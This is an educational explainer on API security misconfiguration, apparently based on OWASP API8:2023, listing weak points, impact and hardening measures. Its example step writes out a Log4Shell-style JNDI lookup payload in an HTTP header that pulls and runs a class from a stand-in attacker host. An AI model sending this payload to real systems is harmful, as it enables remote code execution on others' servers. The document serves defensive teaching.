Security Misconfiguration

How the Attack Works

Attackers systematically search for unpatched vulnerabilities, known endpoints, services with insecure default configurations, or unprotected files and directories, in order to gain unauthorized access or system knowledge. Much of this is publicly known and ready-made exploits often exist.

Misconfigurations can occur at any layer of the API stack - from network to application - and automated tools stand ready to find and exploit unnecessary services or outdated options.

Typical weak points are:

• Missing hardening
• Incorrectly set cloud permissions
• Missing patches
• Unnecessarily enabled HTTP verbs or logging features
• Differences in request processing within the HTTP server chain (request smuggling/desync)
• Missing TLS
• Missing cache control or security headers
• Missing or incorrect CORS policy
• Error messages with stack traces or other sensitive information

Example

OWASP scenario #1 (Log4Shell-style RCE through an insecure logging default configuration): an API backend runs an access log using a common open-source logging library in which placeholder expansion and JNDI lookups (Java Naming and Directory Interface) are enabled by default. For every request, a log line is written in the pattern / - .

1. Step 1 - The attacker sends the following request:GET /healthX-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}
2. Step 2 - When writing the log line, the logging library expands the value of the X-Api-Version header.
3. Step 3 - Because of the insecure default configuration and an overly permissive outbound network policy, the library loads the object Malicious.class from the attacker-controlled server and executes it - resulting in remote code execution.

Impact

Misconfigurations expose not only sensitive user data but also system details that can lead to full compromise of the server (e.g. remote code execution as in scenario #1).

The technical severity is rated "Severe" by OWASP.

Business consequences range, depending on the affected system, from data leakage (e.g. private messages via browser cache in scenario #2) to full server takeover; the concrete business impact is application-specific.

How to Protect Yourself

• A repeatable hardening process that enables fast and easy deployment of a properly secured ("locked down") environment
• Regularly review and update configurations across the entire API stack, including orchestration files, API components, and cloud services (e.g. S3 bucket permissions)
• An automated, continuous process for assessing the effectiveness of configuration and settings across all environments
• All API communication from client to server and to upstream/downstream components over an encrypted channel (TLS) - regardless of whether the API is internal or public
• Precisely define which HTTP verbs an API is reachable through; disable all others (e.g. HEAD)
• For browser-based clients, implement at least a correct CORS policy and set appropriate security headers
• Restrict incoming content types/data formats to those functionally/technically required
• Make sure all servers in the HTTP server chain (load balancer, reverse/forward proxies, backend servers) process incoming requests consistently, to avoid desync or request smuggling issues
• Where applicable: define and enforce all response payload schemas, including error responses, so that no exception traces or other valuable information is returned to attackers

Sources

• API8:2023 Security Misconfiguration - OWASP API Security Top 10 2023 OWASP API Security Project, 2023